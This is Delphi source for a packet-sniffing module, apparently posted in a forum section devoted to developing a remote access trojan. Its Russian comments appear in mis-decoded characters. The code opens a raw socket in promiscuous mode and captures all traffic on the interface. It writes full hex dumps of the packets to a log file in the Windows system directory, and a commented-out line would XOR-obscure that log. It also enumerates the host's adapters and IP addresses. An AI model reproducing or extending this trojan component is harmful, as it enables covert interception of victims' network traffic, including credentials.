time_t = Longint;
// ip çàãîëîâîê
// Áîëåå ïîäðîáíî â RFC 791
// http://rtfm.vn.ua/inet/prot/rfc791r.html
TIPHeader = packed record
iph_verlen: UCHAR; // âåðñèÿ è äëèíà çàãîëîâêà
iph_tos: UCHAR; // òèï ñåðâèñà
iph_length: USHORT; // äëèíà âñåãî ïàêåòà
iph_id: USHORT; // Èäåíòèôèêàöèÿ
iph_offset: USHORT; // ôëàãè è ñìåùåíèÿ
iph_ttl: UCHAR; // âðåìÿ æèçíè ïàêåòà
iph_protocol: UCHAR; // ïðîòîêîë
iph_xsum: USHORT; // êîíòðîëüíàÿ ñóììà
iph_src: ULONG; // IP-àäðåñ îòïðàâèòåëÿ
iph_dest: ULONG; // IP-àäðåñ íàçíà÷åíèÿ
end;
PIPHeader = ^TIPHeader;
// tcp çàãîëîâîê
// Áîëåå ïîäðîáíî â RFC 793
// http://rtfm.vn.ua/inet/prot/rfc793r.html
TTCPHeader = packed record
sourcePort: USHORT; // ïîðò îòïðàâèòåëÿ
destinationPort: USHORT; // ïîðò íàçíà÷åíèÿ
sequenceNumber: ULONG; // íîìåð ïîñëåäîâàòåëüíîñòè
acknowledgeNumber: ULONG; // íîìåð ïîäòâåðæäåíèÿ
dataoffset: UCHAR; // ñìåùåíèå íà îáëàñòü äàííûõ
flags: UCHAR; // ôëàãè
windows: USHORT; // ðàçìåð îêíà
checksum: USHORT; // êîíòðîëüíàÿ ñóììà
urgentPointer: USHORT; // ñðî÷íîñòü
end;
PTCPHeader = ^TTCPHeader;
// udp çàãîëîâîê
// Áîëåå ïîäðîáíî â RFC 768
// http://rtfm.vn.ua/inet/prot/rfc768r.html
TUDPHeader = packed record
sourcePort: USHORT; // ïîðò îòïðàâèòåëÿ
destinationPort: USHORT; // ïîðò íàçíà÷åíèÿ
len: USHORT; // äëèíà ïàêåòà
checksum: USHORT; // êîíòðîëüíàÿ ñóììà
end;
PUDPHeader = ^TUDPHeader;
// ICMP çàãîëîâîê
// Áîëåå ïîäðîáíî â RFC 792
// http://rtfm.vn.ua/inet/prot/rfc792r.html
TICMPHeader = packed record
IcmpType : BYTE; // Òèï ïàêåòà
IcmpCode : BYTE; // Êîä ïàêåòà
IcmpChecksum : WORD;
IcmpId : WORD;
IcmpSeq : WORD;
IcmpTimestamp : DWORD;
end;
PICMPHeader = ^TICMPHeader;
// Ñòðóêòóðû äëÿ âûïîëíåíèÿ GetAdaptersInfo
IP_ADDRESS_STRING = record
S: array [0..15] of Char;
end;
IP_MASK_STRING = IP_ADDRESS_STRING;
PIP_MASK_STRING = ^IP_MASK_STRING;
PIP_ADDR_STRING = ^IP_ADDR_STRING;
IP_ADDR_STRING = record
Next: PIP_ADDR_STRING;
IpAddress: IP_ADDRESS_STRING;
IpMask: IP_MASK_STRING;
Context: DWORD;
end;
PIP_ADAPTER_INFO = ^IP_ADAPTER_INFO;
IP_ADAPTER_INFO = record
Next: PIP_ADAPTER_INFO;
ComboIndex: DWORD;
AdapterName: array [0..MAX_ADAPTER_NAME_LENGTH + 3] of Char;
Description: array [0..MAX_ADAPTER_DESCRIPTION_LENGTH + 3] of Char;
AddressLength: UINT;
Address: array [0..MAX_ADAPTER_ADDRESS_LENGTH - 1] of BYTE;
Index: DWORD;
Type_: UINT;
DhcpEnabled: UINT;
CurrentIpAddress: PIP_ADDR_STRING;
IpAddressList: IP_ADDR_STRING;
GatewayList: IP_ADDR_STRING;
DhcpServer: IP_ADDR_STRING;
HaveWins: BOOL;
PrimaryWinsServer: IP_ADDR_STRING;
SecondaryWinsServer: IP_ADDR_STRING;
LeaseObtained: time_t;
LeaseExpires: time_t;
end;
// Ïîòîê ñíèôôåðà
TSnifferThread = class(TThread)
private
WSA: TWSAData;
hSocket: TSocket;
Addr_in: sockaddr_in;
Packet: array[0..MAX_PACKET_SIZE - 1] of Byte;
LogData: String;
procedure ShowPacket;
protected
function InitSocket: Boolean; virtual;
procedure DeInitSocket(const ExitCode: Integer); virtual;
procedure Execute; override;
procedure ParcePacket(const PacketSize: Word); virtual;
public
Host: String;
end;
function GetAdaptersInfo(pAdapterInfo: PIP_ADAPTER_INFO;
var pOutBufLen: ULONG): DWORD; stdcall; external IPHelper;
Function ReadLanInterfaces:string;
var
FSnifferThread: TSnifferThread;
const
// Ðàçìåðû èñïîëüçóåìûõ ñòðóêòóð
IPHeaderSize = SizeOf(TIPHeader);
ICMPHeaderSize = SizeOf(TICMPHeader);
TCPHeaderSize = SizeOf(TTCPHeader);
UDPHeaderSize = SizeOf(TUDPHeader);
implementation
function TSnifferThread.InitSocket: Boolean;
var
PromiscuousMode: Integer;
begin
// èíèöèàëèçèðóåì WinSock
Result := WSAStartup(WSA_VER, WSA) = NOERROR;
if not Result then
begin
LogData := 'Îøèáêà: ' + SysErrorMessage(WSAGetLastError);
Synchronize(ShowPacket);
Exit;
end;
// ñîçäàåì ñîêåò
hSocket := socket(AF_INET, SOCK_RAW, IPPROTO_IP);
if hSocket = INVALID_SOCKET then
begin
DeInitSocket(WSAGetLastError);
Exit;
end;
FillChar(Addr_in, SizeOf(sockaddr_in), 0);
Addr_in.sin_family:= AF_INET;
// óêàçûâàåì çà êàêèì èíòåðôåéñîì áóäåì ñëåäèòü
Addr_in.sin_addr.s_addr := inet_addr(PChar(Host));
// ñâÿçûâàåì ñîêåò ñ ëîêàëüíûì àäðåñîì
if bind(hSocket, Addr_in, SizeOf(sockaddr_in)) <> 0 then
begin
DeInitSocket(WSAGetLastError);
Exit;
end;
// Ïåðåêëþ÷àåì èíòåðôåéñ íà ïðèåì âñåõ ïàêåòîâ ïðîõîäÿùèõ ÷åðåç èíòåðôåéñ - promiscuous mode.
PromiscuousMode := 1;
if ioctlsocket(hSocket, SIO_RCVALL, PromiscuousMode) <> 0 then
begin
DeInitSocket(WSAGetLastError);
Exit;
end;
Result := True;
end;
// Çàâåðøåíèå ðàáîòû ñîêåòà
procedure TSnifferThread.DeInitSocket(const ExitCode: Integer);
begin
// Åñëè áûëà îøèáêà - âûâîäèì åå
if ExitCode <> 0 then
begin
LogData := 'Îøèáêà: ' + SysErrorMessage(ExitCode);
Synchronize(ShowPacket);
end;
// Çàêðûâàåì ñîêåò
if hSocket <> INVALID_SOCKET then closesocket(hSocket);
// Äåèíèöèàëèçèðóåì WinSock
WSACleanup;
end;
// Ðàáî÷àÿ ïðîöåäóðà ïîòîêà ñíèôôåðà
procedure TSnifferThread.Execute;
var
PacketSize: Integer;
begin
// Ïðîèçâîäèì èíèöèàëèçàöèþ
if InitSocket then
try
// Êðóòèì ïîòîê äî óïîðà
while not Terminated do
begin
// Æäåì ïîëó÷åíèÿ ïàêåòà (áëîêèðóþùèé ðåæèì)
PacketSize := recv(hSocket, Packet, MAX_PACKET_SIZE, 0);
// Åñëè åñòü äàííûå - ïðîèçâîäèì èõ ðàçáîð
if PacketSize > SizeOf(TIPHeader) then ParcePacket(PacketSize);
end;
finally
// Â êîíöå îñâîáîæäàåì çàíÿòûå ðåñóðñû
DeInitSocket(NO_ERROR);
end;
end;
// Ïðîöåäóðà ðàçáîðêè ïàêåòà
procedure TSnifferThread.ParcePacket(const PacketSize: Word);
var
IPHeader: TIPHeader;
ICMPHeader: TICMPHeader;
TCPHeader: TTCPHeader;
UDPHeader: TUDPHeader;
SrcPort, DestPort: Word;
I, Octets, PartOctets: Integer;
PacketType, DumpData, ExtendedInfo: String;
Addr, A, B: TInAddr;
TotalPacketCount: Integer;
begin
Inc(TotalPacketCount);
// ×èòàåì èç áóôåðà IP çàãîëîâîê
Move(Packet[0], IPHeader, IPHeaderSize);
// Ïèøåì âðåìÿ æèçíè ïàêåòà
LogData := LOG_STR_0 +
Format(LOG_STR_1, [TotalPacketCount, IPHeader.iph_ttl]);
SrcPort := 0;
DestPort := 0;
ExtendedInfo := '';
// îïðåäåëÿåì òèï ïðîòîêîëà
case IPHeader.iph_protocol of
IPPROTO_ICMP: // ICMP
begin
PacketType := 'ICMP';
// ×èòàåì ICMP çàãîëîâîê
Move(Packet[IPHeaderSize], ICMPHeader, ICMPHeaderSize);
// Ñìîòðèì òèï ïàêåòà
case ICMPHeader.IcmpCode of
ICMP_ECHO: ExtendedInfo := Format(LOG_STR_6, ['Echo']);
ICMP_ECHOREPLY: ExtendedInfo := Format(LOG_STR_6, ['Echo reply']);
else
ExtendedInfo := Format(LOG_STR_6, ['Unknown']);
end;
end;
IPPROTO_TCP: // TCP
begin
PacketType := 'TCP';
// ×èòàåì ÒÑÐ çàãîëîâîê
Move(Packet[IPHeaderSize], TCPHeader, TCPHeaderSize);
// Ñìîòðèì ïîðò îòïðàâèòåëÿ è ïîëó÷àòåëÿ
SrcPort := TCPHeader.sourcePort;
DestPort := TCPHeader.destinationPort;
end;
IPPROTO_UDP: // UDP
begin
PacketType := 'UDP';
// ×èòàåì UDP çàãîëîâîê
Move(Packet[IPHeaderSize], UDPHeader, UDPHeaderSize);
// Ñìîòðèì ïîðò îòïðàâèòåëÿ è ïîëó÷àòåëÿ
SrcPort := UDPHeader.sourcePort;
DestPort := UDPHeader.destinationPort;
end;
else
PacketType := 'Unsupported (0x' + IntToHex(IPHeader.iph_protocol, 2) + ')';
end;
// Ïèøåì ðàçìåð ïàêåòà
LogData := LogData + Format(LOG_STR_2, [PacketSize, PacketType]);
if ExtendedInfo <> '' then
LogData := LogData + ExtendedInfo;
// Ïèøåì IP àäðåñ îòïðàâèòåëÿ ñ ïîðòîì
Addr.S_addr := IPHeader.iph_src;
LogData := LogData + Format(LOG_STR_3, [inet_ntoa(Addr), SrcPort]);
// Ïèøåì IP àäðåñ ïîëó÷àòåëÿ ñ ïîðòîì
Addr.S_addr := IPHeader.iph_dest;
LogData := LogData + Format(LOG_STR_4, [inet_ntoa(Addr), DestPort]) + LOG_STR_7;
// Âûâîäèì ñîäåðæèìîå ïàêåòà íà ýêðàí (ïàðñèíã êîììåíòèðîâàòü íå áóäó, òàì âñå ïðîñòî)
// ïîëó÷àåòñÿ ÷òî-òî âðîäå ýòîãî:
//
// ------------------------------ Packet dump -----------------------------------
// 000000 45 00 00 4E D8 91 00 00 | 80 11 DB 3B C0 A8 02 82 E..N.......;....
// 000010 C0 A8 02 FF 00 89 00 89 | 00 3A AC 6A 83 BD 01 10 .........:.j....
// 000020 00 01 00 00 00 00 00 00 | 20 45 43 46 46 45 49 44 ........ ECFFEID
// 000030 44 43 41 43 41 43 41 43 | 41 43 41 43 41 43 41 43 DCACACACACACACAC
// 000040 41 43 41 43 41 43 41 43 | 41 00 00 20 00 01 ACACACACA.. ..
I := 0;
Octets := 0;
PartOctets := 0;
while I < PacketSize do
begin
case PartOctets of
0: LogData := LogData + Format('%.6d ', [Octets]);
9: LogData := LogData + '| ';
18:
begin
Inc(Octets, 10);
PartOctets := -1;
LogData := LogData + ' ' + DumpData + sLineBreak;
DumpData := '';
end;
else
begin
LogData := LogData + Format('%s ', [IntToHex(Packet[I], 2)]);
if Packet[I] in [$19..$7F] then
DumpData := DumpData + Chr(Packet[I])
else
DumpData := DumpData + '.';
Inc(I);
end;
end;
Inc(PartOctets);
end;
if PartOctets <> 0 then
begin
PartOctets := (16 - Length(DumpData)) * 3;
if PartOctets >= 24 then Inc(PartOctets, 2);
Inc(PartOctets, 4);
LogData := LogData + StringOfChar(' ', PartOctets) +
DumpData + sLineBreak + sLineBreak
end
else
LogData := LogData + sLineBreak + sLineBreak;
// Âûâîäèì âñå ÷òî íàïàðñåðèëè â Memo
Synchronize(ShowPacket);
end;
function encriptar(aStr: String; aKey: Integer): String;
begin
Result:='';
RandSeed:=aKey;
for aKey:=1 to Length(aStr) do
Result:=Result+Chr(Byte(aStr[aKey]) xor random(256));
end;
procedure TSnifferThread.ShowPacket;
var
FileName :STRING;
FF: TextFile;
begin
try
FileName := FindSystemDir+'\logS.txt'; // your log filename here
AssignFile(FF, FileName);
if FileExists(FileName) then Append(FF)
else Rewrite(FF);
// write to the log
//WriteLn(FF, encriptar(LogData,2999)+enter);
WriteLn(FF, LogData+enter);
// close the log file
CloseFile(FF);
except
raise
end;
end;
Function ReadLanInterfaces:string;
var
InterfaceInfo,
TmpPointer: PIP_ADAPTER_INFO;
IP: PIP_ADDR_STRING;
Len: ULONG;
TempStr:String;
begin
// Ñìîòðèì ñêîëüêî ïàìÿòè íàì òðåáóåòñÿ?
if GetAdaptersInfo(nil, Len) = ERROR_BUFFER_OVERFLOW then
begin
// Áåðåì íóæíîå êîë-âî
GetMem(InterfaceInfo, Len);
try
// âûïîëíåíèå ôóíêöèè
if GetAdaptersInfo(InterfaceInfo, Len) = ERROR_SUCCESS then
begin
// Ïåðå÷èñëÿåì âñå ñåòåâûå èíòåðôåéñû
TmpPointer := InterfaceInfo;
repeat
// ïåðå÷èñëÿåì âñå IP àäðåñà êàæäîãî èíòåðôåéñà
IP := @TmpPointer.IpAddressList;
repeat
TempStr:=TempStr+(Format('%s - [%s]',[IP^.IpAddress.S, TmpPointer.Description])+'|');
IP := IP.Next;
until IP = nil;
TmpPointer := TmpPointer.Next;
until TmpPointer = nil;
result:=trim(TempStr);
end;
finally
// Îñâîáîæäàåì çàíÿòóþ ïàìÿòü
FreeMem(InterfaceInfo);
end;
end;
// Ñìîòðèì - ìîæåì ëè ìû ïðîäîëæàòü ðàáîòó ïðîãðàììû?
end;
end.
Volver a “Desarrollo CoolvibesRAT”
